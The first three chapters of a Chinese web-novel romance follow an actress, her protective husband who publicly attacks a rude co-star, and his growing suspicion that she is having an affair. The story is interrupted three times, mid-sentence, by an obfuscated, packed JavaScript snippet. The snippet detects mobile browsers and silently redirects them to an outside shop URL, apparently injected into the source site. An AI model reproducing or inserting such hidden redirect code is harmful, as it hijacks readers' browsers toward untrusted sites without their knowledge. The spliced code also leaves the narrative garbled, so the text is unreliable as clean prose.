《再度依赖》 1. 第 1 章 贺敬琛突然发现,他深爱的妻子好像背着自己出轨了。 起因是一个月前,有位匿名人士隔三差五给自己寄快递,里面的东西无一例外,全是自己的妻子挽着一个陌生男人逛街、亲密互动的照片。 换做旁人,看到这些照片的时候早该质问、冷战,甚至撕破脸皮。 但,他却选择不信。 并非他有多么大度,而是这些年,在自己妻子身上,已经发生了太多捕风捉影的造谣诽谤。 妻子是个明星,大概是这几年流量越来越大,经常有狗仔为了博眼球,把她跟同行路过的背影剪成“深夜幽会”以此制造花边新闻。甚至还有恶毒的对家花钱买通稿,利用错位拍摄,让一次和大导演礼貌性的握手拥抱变成“被包养”、“潜规则”的证据。 每一次,他的妻子都要花很久才能从那些莫须有的罪名里挣脱出来,而他能做的,只是在她疲惫地回到家时,给她一个不会问东问西的拥抱。 这次大概也一样。 寄出照片的人显然很有城府,选在了最微妙的时机——妻子正在外地拍戏,封闭式剧组,请不了假,连手机都被没收了大半。 他联系不上她,没法亲口问她一句“这又是谁在搞鬼”。而那些照片上的日期,恰恰是她进组前最后那段空闲日子。 正好是她“有机会”做些什么的时候。 什么出轨,无非就是一群嫉妒他们夫妻恩爱的地下蟑螂搞的恶作剧。 人红是非多罢了。 说不定,连照片都是用AI生成的。 贺敬琛盯着那些照片,从抽屉里取出一把剪刀,把照片通通一分为二,留下妻子的那部分,至于那个陌生男人的肖像,则被他丢进碎纸机里碎尸万段了。 *** 一周后。 黑色保姆车安静泊在演播厅后门的侧道,全车隐私帘拉得严实,隔绝了外界所有灯光与声响。 贺敬琛斜靠在后舱航空座椅里,长腿微屈,姿态悠闲,气场却沉得吓人。 车顶内嵌的吸顶触控大屏早已缓缓降下,他指尖在屏幕上轻滑两下,连上车载WiFi,点开微博直播入口。 不过几秒,祝绾栀所在的剧宣直播间便铺满整块高清屏。 直播里,主持人正在cue剧组主创分享拍摄趣事。轮到饰演女主哥哥的男二江羿时,那人突然没头没脑地来了一句:“难忘的事儿我必须要提一下,有一场戏是我要抱绾栀去医务室,但是我要抱她的时候突然发现,她真的好重,我完全抱不动。” 贺敬琛听着这话,眉头瞬间皱了起来。 屏幕里,祝绾栀的脸色明显变得有些尴尬,但还是笑着替自己澄清:“哪有,我觉得我不胖吧?” 说着,目光求助似的望向这部剧的男主,后者很认真地点了点头:“不胖。” 江羿依旧不依不饶地进行着嘲讽:“你是看起来不胖,但是你密度很大呀,我真的拍了这么多年戏,第一次抱不动一个女演员。” 说着莫名其妙就尬笑起来,直播间一度冷场,就连主持人也愣了一下,刚想试图圆场,可江羿却像是被夺舍了似的,一直自顾自说着不合自己身份的话。 祝绾栀始终保持体面,委婉开口:“可是我觉得我真的不胖,我拍这部戏的时候才88斤,是不是你该练练肌肉了?” 一旁饰演男主的路羡野刚要开口替她解围,江羿却像是有意针对她似的,又开始插话质疑:“你那时候才88斤吗?我怎么感觉你有98斤,你确定你没有谎报体重吗?可能你平时被你老公照顾的太好了,胖而不自知吧。” 这句话里的阴阳怪气几乎已经摆在了明面上。祝绾栀脸上的笑容终于有些撑不住了,她双手环抱在胸前,做出一个无奈的表情看着他。 那动作看着像是在防御,又像是在努力克制着什么:“你不觉得你说完这句话,大家都冷场了吗?” 弹幕里已经有粉丝和路人开始抨击他“不尊重合作对手”、“职场霸凌”,江羿终于反应过来,尬笑道:“哈哈,开个玩笑啦,我跟绾绾私下其实是很好的朋友,我们合作好几次了,经常就这么互怼。” 主持人这会儿终于找到机会,赶紧用剧里的人设替男二圆场:“我们江羿真的是剧里剧外都是毒舌哥哥人设哈哈。” 一句话,直接把江羿的冒犯包装成了“人设需要”。 事情到这里本来就没什么了,奈何江羿又一副作死的表情来了一句:“但是我真的觉得你有一点点需要减肥了,我感觉你特别像懒羊羊,完全就是肥到骨子里了哈哈哈。” 祝绾栀忍不住拿抱枕打他,哪怕反击也依旧是不轻不重的:“你还在诽谤我!你根本就不是一个好哥哥!” 贺敬琛看着直播里媳妇委屈又不能当众甩脸色的可怜模样,面色愈发浓重深沉,最后气得干脆直接关掉了直播画面。 男人胸膛用力起伏着,此时此刻,他恨不得能冲去演播厅把人暴揍一顿。 关于江羿说的那场戏,贺敬琛深有印象。 那场戏是江羿饰演的哥哥要抱着女主去医务室处理脚伤,总共只是十来米的距离,可他抱着祝绾栀才跑了没两步,突然脚下一崴,直接将人摔了出去。 因为拍的是校园剧,又是夏天,穿的是短袖,祝绾栀被他那么一摔,胳膊肘直接重重摔在了水泥地上,磕掉了一大块皮。 他那会儿第一次来探班,看到的时候护妻心切,火气上来,直接当着全剧组的面训斥了他一顿。 加上这部戏原本待定的男主是江羿和路羡野两个人竞争,所有人都以为江羿会是男主,因为不论是资历还是人气,他看着都比刚出道两年的路羡野有优势。 可是那天制片人问祝绾栀比较推荐谁做男主的时候,祝绾栀却推荐了后者。 他不知道是不是因为这些原因,江羿才会在这场直播里处处针对祝绾栀。 只是不管对方是单纯的没脑子还是为了报复,贺敬琛都不想放过他。 他不是祝绾栀,不在娱乐圈,也没她那么好的脾气。 他一向都是有仇必报的。 他目光深沉地盯着前方漆黑的显示屏,喉结上下滚动着,最后拿起放在小桌板上的手机,打开微博,很快编辑好了一长串内容发送出去。 微博发出去没2分钟,手机便开始疯狂震动。 他撇了一眼屏幕——评论转发已经炸了,但他没再看,而是锁屏,嘴角勾起一个满意的弧度,任由舆论开始发酵。 二十分钟后,祝绾栀裹着一件黑色羽绒服从演播厅出来,助理小夏紧紧跟在身后。 她刚准备上车,抬头时,突然发现自己三个多月未见的丈夫此刻正倚靠在保姆车旁等她。 男人穿着一件驼色风衣,身形颀长,站在那里亮眼的不行。 祝绾栀看着他,眼中的阴霾突然一扫而过,她嘴角扬着笑,大步朝他走了过去:“你怎么过来了?” 贺敬琛张开双臂,将人拥进了怀里,两人有着22cm的身高差,他下巴刚好抵在她的头顶。 他感受着祝绾栀这个带有一万分思念的拥抱,片刻后,往她微凉的手里塞了一杯热奶茶,说话的声音很轻也很柔:“今天是情人节,想跟我老婆一起过。” 两人平时工作都很忙,经常聚少离多,尤其是祝绾栀,演员的身份让她无法随时去找他。 多数时候,都是贺敬琛单方面飞来拍摄地看自己。 去年他忙,两人当了三个多月“网友”,直到今天才见上面。 贺敬琛松开她,温柔地替她捋了捋被寒风吹乱的发丝:“上车吧,外面怪冷的。” 小夏看着小两口如胶似漆的模样,很识趣地去了副驾驶。 男人吩咐司机回家,然后递上奶茶吸管:“喝吧,三分糖的。” 祝绾栀摇了摇头,小声说:“我最近在减肥。” 贺敬琛一听这话,眉心立马皱了起来,语气有些不悦:“你都快瘦成白骨精了,减什么肥?” 他稍显无奈地叹了口气,握住她的手:“你别听那个江羿胡说八道,他抱不动你是因为他自己肾虚体弱,跟你胖不胖完全没有关系。” 闻言,祝绾栀猛地抬起头,一双杏眼惊讶地看着他:“你看直播了?” “我都快气死了!” 他叹了口气,轻轻把人拥进怀里,低声说:“他就是嫉妒你,所以才故意针对你,你可别把他的话放在心上,也不需要有身材焦虑,我老婆不管什么样都是完美的。” 作为一个在娱乐圈混迹多年的人,祝绾栀早已给自己锻炼出一颗不畏流言的强大心脏,自然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525702|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在意那些毫无根据的诋毁,只是一脸依赖地靠在他怀里,轻轻“嗯”了一声。 贺敬琛继续说:“我让阿姨在家里做了一大桌子菜,你回去不许不吃。” “哦。”她扬起嘴角,往他怀里蹭了蹭,直播时的那些不愉快早已烟消云散,她撒娇道,“有猪肘子吗?” “有,都是你爱吃的。”他抬起手,替她捋了捋额前细碎的刘海。 回到别墅,祝绾栀看着贺敬琛准备的那一大桌满汉全席,整个人直接被惊得目瞪口呆。 她回过头,语气幸福又无奈:“这也太多了吧?我吃完肯定会胖成猪的。” “怎么会,这些不都是你爱吃的吗?”贺敬琛把羽绒服披在沙发上,随后将人拉到餐桌边坐下,拿起筷子开始给她夹菜,“你看这个猪肘子,补充胶原蛋白的,还有这个虾,减脂吃的,这个鲍鱼和东星斑就更没什么油脂了,都是不胖人的,快吃吧。” 祝绾栀撅着小嘴拿起筷子,看向忙不迭给自己剥虾的男人:“你就哄我吧。” 这男人完全就是想在一天之内把自己喂成猪。 贺敬琛一边给她剥虾挑鱼刺伺候着,一边又忍不住心疼她,每天像陀螺一样不停地拍戏赶通告,还要因为上镜好看天天在剧组吃些没有油水的水煮菜。 这日子简直过得就跟王宝钏似的。 等祝绾栀吃的差不多后,贺敬琛已经洗干净手,目光幽深地看着她:“吃饱了?” 祝绾栀放下筷子点了点头:“嗯。” 他又问:“真吃饱了?” 她把嘴擦干净,抬头:“我都快吃撑了。” 贺敬琛突然就笑了,那笑里,还藏着几分宠溺与促狭:“吃撑了?吃撑了没事。” 他俯身凑近,一双桃花眼笑得勾人,带着几分玩世不恭的语气开口:“一会儿消化消化就好了。” 祝绾栀听着这话,明白他的意思,突然就害羞起来。 正所谓小别胜新婚,三个多月没见,今天还是情人节,见了面总该做点什么才说得过去。 他弯下腰,一只手穿过她的小腿,轻而易举地便将人抱了起来,甚至还在手上掂了掂:“我们绾绾哪儿胖了?这不就跟团棉花一样?” 祝绾栀小鸟依人地搂着他的脖子,突然有些感慨,要是跟她搭戏的男艺人都能这么轻而易举把她抱起来就好了。 窗外的夜色浓得像一道化不开的墨,卧室里只开了一盏床头灯,暖黄色的灯光将卧室内的一切都镀上了一层温柔旖旎的边。 两人不知道折腾了多久,贺敬琛终于放过她。 他侧躺在她身边,一只手撑着头,看着身侧三个月未见、精致得跟手办一样的女人。 她的睫毛很长,在眼下投出小片扇形的阴影,脸颊上还残存着未退的红晕,睡颜姣好,像是在做一场什么美梦。 贺敬琛目光在她脸上停留了许久,像是在欣赏一件价值连城的国宝,脑海中又回想起了那些匿名照片。 他的妻子明明那么可爱,那么单纯,怎么可能会做出出轨这种恶劣的行径。 一群不知道藏在哪个阴暗角落里的人渣,竟然敢拿照片挑衅自己,哪天被自己逮到,一定让他们牢底坐穿。 他恶狠狠地想着,俯下身,在她的额头上落下轻轻一吻,最后将人搂进怀里安稳睡下。 隔天天刚蒙蒙亮,祝绾栀就要赶去片场拍戏,她手里有部民国剧今天拍完最后几场就杀青了。 等杀青后,自己大概就能休息一段时间了。 本想自己悄悄离开,奈何贺敬琛一大早就等在楼下,并亲自送她去了片场。 上午拍完几场文戏,祝绾栀刚把沉重的民国头饰取下来,坐在休息棚里揉着太阳穴,面前的减脂餐一口没动。 她不爱在片场刷手机,正闭目养神,经纪人宁玉突然从不远处走了过来,脸色看着算不上轻松。 祝绾栀抬眼,表情立马凝重了起来:“玉姐,怎么了?” 她拍戏这么久,玉姐极少专程跑片场,除非是出了什么大事。 “还能因为什么事,网上都炸穿了,你居然一点消息都没看?” 宁玉叹了口气,直接把手机解锁,递到她面前:“你自己看热搜吧,你男人昨晚在你们直播完直接发微博,替你把江羿给撕了。” 2. 第 2 章 祝绾栀心头一跳,迟疑着接过手机。 微博热搜页密密麻麻,几乎被她和贺敬琛、江羿霸占了。 #贺敬琛护妻# #江羿职场霸凌# #祝绾栀体重# #江羿内增高# #痞老板江羿# 词条一条比一条刺眼,一条比一条火爆。 她指尖微顿,点进热度最高的那条长微博。 贺敬琛的语气又冲又护短,像写法律文书一样,一条一条罗列着江羿对自己的冒犯,甚至以其人之道还治其人之身开始嘲讽对方肾虚体弱,拍戏穿内增高,线下长得像痞老板,神图全靠后期P图等。 最后更是放出狠话,要求对方在二十四小时内拍视频念手写道歉信,否则就让他在大年初一成为第一个因黑料上热搜的明星。 这条微博一发,双方粉丝立马开始在网上进行了一场撕逼大战。 短短一上午的时间,双方粉丝已经在微博和豆芽上吵得不可开交,热搜榜上了一个又一个,江羿粉丝更是一边发祝绾栀各种线下路透对其进行身材攻击和嘲讽。 一边又大肆宣传江羿助农、捐款、n年前山村支教、红毯上绅士手、尊重女性等正面视频,试图能压下这件事的热度。 两家都是微博粉丝旗鼓相当的当红小生,双方撕逼的热度甚至高过了春晚彩排和《生姜发芽》这部剧。 而贺敬琛,从昨晚凌晨到现在一直在实名回怼江羿粉丝,一个人整出了千军万马的气势。 上午九点,他又发了一条@江羿大名的微博,语气更是“尖酸”到了极点:[奉劝江羿的粉丝不要再惹我了,毕竟我手里可有你们正主用钱都摆不平的超级大瓜,真把我惹急了我会直接让你们正主从明星降级到去摆摊的都没生意的程度。还有那些说江羿尊重女性的,从昨晚那场直播来看,我真没看出来你们家正主有多尊重女性,而且尊重女性这不是一个人类最基础的行为吗?什么时候竟然变成了一个优点?你们想洗白也得找到合适的办法,拿一些不痛不痒的事情出来洗白有什么意思?绅士手捐款助农,说的好像全内娱就你们家正主捐过款助过农一样,怎样?很优秀,要给你颁个奖吗?最后@江羿,我知道你在看微博,既然做错了就出来挨打,别躲在粉丝后面当缩头乌龟,我的耐心可是很有限的。] 祝绾栀看着那两条长微博,指尖微微颤抖,连眼眶也有些发红。 她想起去年自己被全网黑的那段日子。那时候她每天失眠,凌晨三点还在刷微博,看着那些恶评一条条冒出来。而贺敬琛就躺在她身边,手机屏幕的蓝光映在他脸上——他一直在用小号帮她骂人。 “你男人从凌晨就一直跟网友,还有江羿粉丝对线,一个人顶一个公关团队。”宁玉声音放轻,“不过你别太感动,也别慌,舆论现在整体对你有利,虽然有少量杂音说你借势压人,我这边已经在控评了,反正……出了事有你男人顶着。还有,你男人因为这事儿,刚在公司还挨了嘉姐一顿骂,本来这件事有眼睛的人都知道是江羿的问题,不回应还能虐波粉,他非要下场撕人,嘉姐怕影响到你的路人缘和剧,骂得可凶了。” 宁玉口中的嘉姐,是自己经纪公司的老板,也是贺敬琛的亲姐姐,全世界唯一治得了他的女人。 她顿了顿,声音压得更低:“江羿那边更惨,你都不知道他回公司被骂得有多狗血淋头,原本明天要上的卫视春晚节目直接被砍了,跟他一起排练的男演员都快恨死他了。而且好几个商务代言全部暂停,品牌方都在避嫌,就怕他身上真有什么不得了的黑料。刚才他团队联系我,说愿意手写道歉信、录视频公开道歉,只求贺总可以手下留情。” 宁玉继续愤愤不平道:“要我说江羿也是活该,惹谁不好非要惹你,你男人本来就因为他拍《生姜发芽》时穿内增高把你抱摔的事怀恨在心,他倒好,直接撞人枪口上了。” 她想了想,继续补充:“不过你男人这么一闹,倒是歪打正着,让你的口碑逆风翻盘了,我刚才看了一下,你微博涨了不少磕你和你男人的CP粉。” 祝绾栀一字一句听着经纪人的复述,又看了眼微博上依然挂着的热搜,一时不知道该说什么好。 宁玉看着她这副表情,嘴角轻轻扬了起来,调侃道:“怎么?被感动了?想给你男人一个大大的拥抱?” 祝绾栀很快捕捉到重点,仰起头问:“他在吗?” 宁玉朝保姆车的方向努了努嘴,示意她:“在车上呢,怕耽误你拍戏,打一小时游戏了。” 闻言,祝绾栀把手机还给她,旋即立马起身朝保姆车飞奔而去。 她走到保姆车边喊了一声:“贺敬琛。” 男人还在认真打着游戏,噼里啪啦的,战况看着还挺激烈,只是听见祝绾栀的声音后,他立马将屏幕摁灭了。 懒洋洋地倚着半个身子偏头看她:“到点了?” 祝绾栀爬上保姆车,冲他笑了笑,随后“指责”道:“你是白磷型人格吗?怎么一点就着!” 他挑眉:“你经纪人都跟你说了?” 她点了点头,嘴角不自觉地上扬,低声道:“其实你不用这么大张旗鼓地为我出头,反正也不是什么大事。” “什么叫不是大事?敢公然让你难堪的人都该去死。”他说这话的时候,眼底透着股想把江羿碎尸万段的狠厉。 他安慰她,语气颇有一副要为她的演艺之路保驾护航的气势:“反正你别担心,好好拍戏,好好吃饭,谁要是敢骂你我就喷回去。” 祝绾栀一双眼睛熠熠生辉地注视着他:“讨厌我的人有很多,你喷的过来吗?” 男人不以为意地表示:“如果你的黑粉像蝗虫一样多,那你老公我就是最优秀的灭虫专家。” 她听着这话,突然忍不住就笑了起来,凑上前亲昵地亲了他一口:“不过还是谢谢你。” 贺敬琛从旁边拿过一个保温桶,里面是他从家里带的番茄炖牛腩、白灼大虾和口蘑炒西兰花:“给你带了饭。” 祝绾栀盯着那一桶香气四溢的饭菜,忍不住咽了下口水:“不是说了我在减肥。” “不是让你不要减肥?”他把饭菜摆在小桌上,强硬地把筷子塞到她手中。 祝绾栀有些无奈,她并不是因为昨天江羿嘲讽她胖的原因才想减肥,而是这段时间经常拍夜戏,导致她每晚都要跟小夏一起在酒店偷偷点外卖,确实吃得有些多了。 贺敬琛瞧着她像昨晚一样犹犹豫豫不肯动筷的样子,又看了一眼她拿来的没什么油水的减脂餐,忍不住说:“你怎么每次吃饭都要我哄?每天在剧组COS王宝钏吃水煮菜有意思吗?她是你新偶像啊?” 祝绾栀被他没来由的一句话逗乐了:“什么水煮菜?我这可是减脂餐,可贵了。” 男人不屑地“切”了一声,长臂一伸,直接把她的减脂餐拿来自己吃。 祝绾栀没办法,他大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525703|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老远跑来专程给自己送饭,自己要是一口不吃的话,未免也太不给他面子了。 平时在家和公司里好吃的东西吃多了,贺敬琛只吃了两口减脂餐就有些吃不下了。 没什么油水,实在是有点难以下咽。 他索性把饭盒放下,转而替她剥起了虾:“你今天几点收工?” 祝绾栀嘴里塞着米饭,有些含糊不清道:“我今晚要拍夜戏,你不用等我了。” 他微微皱眉:“又拍夜戏?” “今晚拍完就杀青了。” “好吧。”他把最后一只虾放在她的米饭上,擦干净手靠在椅背上,有些惋惜道,“今天舟子生日,本来想带你一起去的。” “那也太可惜了,代我向他说声生日快乐!”她说着,像是想起某件重要的嘱托,又说,“对了,我们家璇儿初三要结婚,你得跟我回瑜理参加婚礼。” 祝绾栀上学的时候,因为家里穷,几乎没什么朋友,季璇儿算是她唯一的朋友。 也是因为她当初推荐自己参加当年很火的女团选秀,自己才会遇见贺敬琛。 说起来,她还算是两人的红娘。 “初三啊,”贺敬琛喃喃着,随即应允道,“行,正好你今晚杀青,我让我姐给你放两天假,明天我们回瑜理过年。” 闻言,祝绾栀眼前瞬间一亮:“真的?” 他点了点头,看了眼时间,起身在她脸上亲了一口,嘱咐她慢慢吃,这才慢悠悠离开。 祝绾栀吃完饭,再次打开微博,首页第一条就是江羿一分钟前刚发的拿着道歉信站在纯白背景后面一脸虚弱的道歉视频。 底下几乎全是路人在嘲讽谩骂,甚至有网友直接拿他的未修生图贴脸开大,微博粉丝更是掉个不停。 相反,自己倒是因为这事吸引了一波流量,不少人都在自己的最新微博下留言“心疼美女”、“磕到了”之类的,连带着《生姜发芽》那部剧的热度也开始涨了起来。 祝绾栀看着这些,突然就笑了起来。 虽然不喜欢他这么大张旗鼓地替自己撕人,可看到江羿这副跟昨晚判若两人的嘴脸,竟莫名觉得格外解气。 —— 夜幕降临,芙宜市的某个高级会所的包厢内,一群人正在推杯换盏着寒暄着。 贺敬琛一个人坐在靠窗的单人沙发里,看着窗外整座城市的夜景,始终滴酒未沾,想着等生日宴结束就去片场接媳妇儿回家。 几分钟后,这场生日宴的主角慢悠悠走了过来,并递过去一杯酒:“干嘛一个人坐在这儿,酒也不喝?有心事啊?” 贺敬琛没接他的酒,低头看着微信里那条“大概凌晨收工”的信息,声音淡淡的:“一会儿要开车去接我媳妇儿,不喝了。” “嗯?”沈离舟听着这话,神情突然愣了一下,身子懒洋洋地倚靠在沙发边上,问,“你们家绾绾不就在这儿吗?你要上哪儿接她去?” 贺敬琛抬起头,目光疑惑:“她在这儿?” “是啊。”沈离舟这会儿脸上已经有了几分醉意,语气却十分笃定,“你俩刚才不是一起来的?” 想了想,他挠了挠后脑勺,目光望向热闹的包厢,表情有些微妙:“我还纳闷呢,你们家绾绾去个卫生间怎么去了这么久,她是不是先走了?” 男人听着他的话,越听越糊涂,眉头也深深皱了起来:“我们家绾绾今晚拍夜戏,没来。” 见鬼了吧他。 3. 第 3 章 “怎么可能!”沈离舟坐直身体,言之凿凿地开口,“我刚才明明看见你俩一块儿进的电梯,而且进来之前,你俩是不还在消防通道偷摸接吻?” 闻言,贺敬琛心里几乎已经确定这哥们认错人了,他笑道:“你看错人了吧,我从过来到现在就没去过什么消防通道。” 他媳妇儿好歹是个公众人物,跟踪的狗仔和私生多到不行,他就算再把持不住也不至于在公共场合跟她接吻。 “不可能啊。”沈离舟喃喃着,还是不太相信自己会看错人。 毕竟,祝绾栀的长相对他来说还是很有辨识度的。 他继续说:“你媳妇儿今天是不穿的米白色大衣?扎个丸子头?” 贺敬琛听着他如此细致的描述,脸上的笑容突然僵住,因为,祝绾栀今早出门的时候,的确是穿的米白色大衣,半扎着丸子头。 他目光一沉,像是回忆起了什么,语气凝重地质问:“你看清那个男人的脸了吗?” “那没有,我就远远的看见个背影,跟你今天这身挺像的……” 沈离舟说到这儿,突然察觉到他脸色不对,自己这话说的,好像在委婉提醒他“你老婆出轨了”一样。 沉默了片刻后,他火速为自己的口不择言找补:“那个……既然你老婆在拍戏,那可能真的是我看错了,你别往心里去。” 贺敬琛:“……” 包厢里的气氛越来越热络,可贺敬琛周身的气压却低的厉害。 他低下头,发现自己不知何时竟然给祝绾栀拨了电话,当然,她那边并没有接。 沈离舟刚才隐隐约约的那些无心之语依旧萦绕在他心头,这让他冷不丁想起自己前段时间收到的那些匿名照片。 所以他看到的那个男人……会是他吗? 整场宴会下来,贺敬琛一直都是坐立难安、与周围人格格不入的状态。 好不容易挨到宴会散场,贺敬琛立马拿上手机起身离开。 电梯缓缓下降,窗外的城市灯火流转,他摸出手机,再次确认了影视基地的路线。外面的冷风吹得有些刺骨,他发动车子,朝着城郊的方向驶去。 明天就是二十九除夕夜了,道路两旁的树上挂满了红彤彤的小灯笼,夜空中时不时绽放着绚丽烟火。 可此刻装满心事的他却无心欣赏。 车载音乐里放着祝绾栀平时爱听的歌,贺敬琛只听了2分钟,便一脸烦躁地把音乐关了。 明明他此刻的心情应该是雀跃的,可他无论如何都开心不起来。 就在车子经过某个路口的时候,贺敬琛的目光突然被街道上一双倩丽的身影吸引。 他心头猛地一颤,不太确定地回过头,在一家咖啡店门口,一对模样扎眼的男女此刻正安静地站在街道旁。 女生穿着米白色长款大衣,身形纤细,头发挽成半扎的丸子头,此刻正低头看着手机,模样像极了祝绾栀。 或者说,她就是祝绾栀。 以及……她身边的那个陌生男人,竟莫名跟自己收到的照片里的那个男人十分相似。 他再次回头看过去,男人此刻已经挽上了她的胳膊,关系看着似乎还挺亲密。 在对上男人面容的那一刹那,贺敬琛终于确定,他就是前段时间自己收到的那些匿名照片里的男人。 电光火石之间,贺敬琛心里有太多的疑惑,明明她这会儿还在剧组拍夜戏,怎么可能会出现在这里? 可那姑娘,却又实在跟她长得太像…… 难道是夜深露重,自己看走眼了? 就在他准备在附近找个地方停车一探究竟时,由于太过分心,抬头时,这才注意到前方的斑马线上赫然出现一对正在过马路的母女。 男人心下一惊,手里猛打着方向盘,总算是避免了一场车祸,只是车头却狠狠地撞到了一旁的石墩子上,脑袋也重重磕在了方向盘上。 在失去意识的前一秒,他恍惚看见那对情侣缓缓走到车窗边,仅仅只看了一眼便匆匆离开。 —— 半夜十二点,贺敬琛一脸落寞地坐在医院急诊的走廊,额头上贴着一块方形纱布,就连鼻梁上方也被撞出一条极细的青痕,模样看着格外狼狈。 贺敬嘉在接到交警电话的第一时间便赶了过来,高跟鞋在空旷的走廊发出急促的啪嗒声。 “怎么回事?”她裹紧外套,坐在他旁边,声音因为小跑而显得有些喘,“你酒驾了?” 贺敬琛始终低着头,声音很轻:“没有。” “那怎么会把车头撞成那样?”她一脸担忧地望向亲弟弟的额头,眼中满是后怕与担忧,“医生怎么说的?严不严重?” 男人这会儿心里装着事,语气稍显敷衍:“脑震荡而已。” “什么叫脑震荡而已?”贺敬嘉有些不满他的态度,“我发现你最近脑子有问题,一天天的,净给我惹事儿,那么宽的路你到底是怎么撞上去的?” 贺敬琛不说话了,任由姐姐在一旁喋喋不休,脑袋里反复回忆着车祸前看到的那个画面。 那个女人,到底是不是她? 还有他身边的那个男人,到底是谁。 半晌,祝绾栀也接到电话从城郊的影视基地赶了过来,身后还跟着助理。 贺敬琛抬起头,看着她那一身与自己在街上看到的女人一模一样的装扮和发型,眉头不自觉地越蹙越紧,一颗心几乎降到了谷底,眸色也突然暗了下来。 原本认为只是“长得像”的想法在此刻被彻底推翻,一个不太妙的想法正悄无声息地爬上心头。 他的妻子,真的出轨了吗? 听着她满是急切的关心,贺敬琛打量着她身上的那件大衣,最后将目光停在她因奔跑而稍显凌乱的丸子头上。 许久,才用稍显疏离的声音开口:“你不是说今晚要拍到凌晨吗?” “导演说状态不错,所以提前杀青了。”她抬手,指腹轻轻擦过他头上的纱布,全然没有察觉到他眼中的异常,“你怎么样了?我听姐姐说你出车祸都快吓死了。” 男人看着她真情实感流露出的关心,喉结滚了滚,还是不愿意相信跟自己朝夕相处多年的妻子会背叛自己。 良久,他有些不安地伸手抱住了她,轻声说:“我没事。” 祝绾栀轻轻抚摸着他的后脑,声音温柔地像是在安慰一个受惊的孩子:“好好的怎么会撞到石墩子上?你喝酒了?” “没有。”他侧脸贴着她的腹部,嗓音低迷,“就是回来的时候在路上看见一对情侣……” 顿了顿,他微微抬头看她,语气像在试探:“那个女生长得特别像你,我多看了两眼。” 一旁的贺敬嘉听着这话,目光错愕地望向风尘仆仆赶来的祝绾栀,所以……她这蠢弟弟是因为在路上看到跟自己媳妇儿长得很像的女人,才会心不在焉出了车祸? 闻言,祝绾栀手上的动作突然僵了一下,她不自然地眨了下眼睛,对上他的目光小声解释:“我今晚十一点才收工。” 一收工就马不停蹄赶过来了,连妆都是在车上卸的。 贺敬琛没说话,依旧看着她的眼睛,仿佛想要分辨出她话中的真伪。 片刻后,他看了眼跟在祝绾栀身后的助理,终于对着一路风尘仆仆赶来的女人点了点头,对她的解释表示信任:“嗯,可能我看错了。” 只是那信任,却答得格外敷衍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525704|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢了,就这样吧。 正所谓捉贼要拿赃,捉奸要捉双,万一他的妻子就是清白的呢? 为了一个远远看着像的身影就否定掉她这个人,真的值得吗? 何况她今晚就是在剧组拍戏,完全没有跟陌生男人幽会的时间可言。 在没有确凿的证据下,他还是假装不知道的好。 话是这么说,可怀疑的种子一旦种下,就会迅速在心底生根发芽。 他突然开始后悔,自己为什么要把那个男人的照片扔进碎纸机里了…… 他那行为,跟亲自替妻子掩盖“出轨”证据有什么区别。 真是蠢的可以。 凌晨两点半,男人躺在床上辗转反侧却始终难以入眠。 身旁的女人已经睡下,呼吸均匀,偶尔翻个身,习惯性地往他怀里拱。 贺敬琛僵硬地躺着一动不动,直到她彻底睡熟,这才轻轻把她的手臂从自己胸口挪开。 他侧过头,借着从窗帘缝隙透进来的微光看她。 睡着的祝绾栀看起来很乖,睫毛长长地垂着,嘴唇紧闭,像只毫无防备的幼猫。 这是他看了6年的脸,熟悉到闭上眼都能描摹出每一寸轮廓。 可是今晚,沈离舟的话、街头那个女人的背影,以及那些匿名寄来的照片,像破碎的玻璃扎在他的脑袋里,怎么也清不出去,甚至越想越深。 他深吸了一口气,内心开始认真审视这件事。 她这两年事业上升期,几乎每天都泡在剧组里,根本没有精力出轨。 就算有,那她图什么? 钱?她并不缺。 资源?她如今是当红小花,戏约排到后年都排不完,根本不需要靠男人上位。 何况自己就是她的资源,她都从未对自己开过口,更不可能去找别人。 难道是感情? 可扪心自问,自己这些年对她不错,两人的关系也挺和谐,从未有过破裂的迹象,她根本没有出轨的动机。 可说到底,人都是会变的。 尤其这些年,随着她越来越大的名气和自己越来越忙的工作,两人有时候一年都见不了几次面,几乎跟异地无异。 再好的感情也要靠见面来维持,万一……是她寂寞了,没控制住偷腥了呢? 娱乐圈里多的是俊男靓女,这些年她拍戏,也遇见过明里暗里跟她示好的男艺人,尤其拍戏还容易产生感情,CP炒着炒着最后变成真的也多的是。 他想起她去年拍的某部剧,和她一起合作的男演员在剧里剧外都对她格外殷勤,甚至在采访的时候公然表示祝绾栀是自己的理想型。 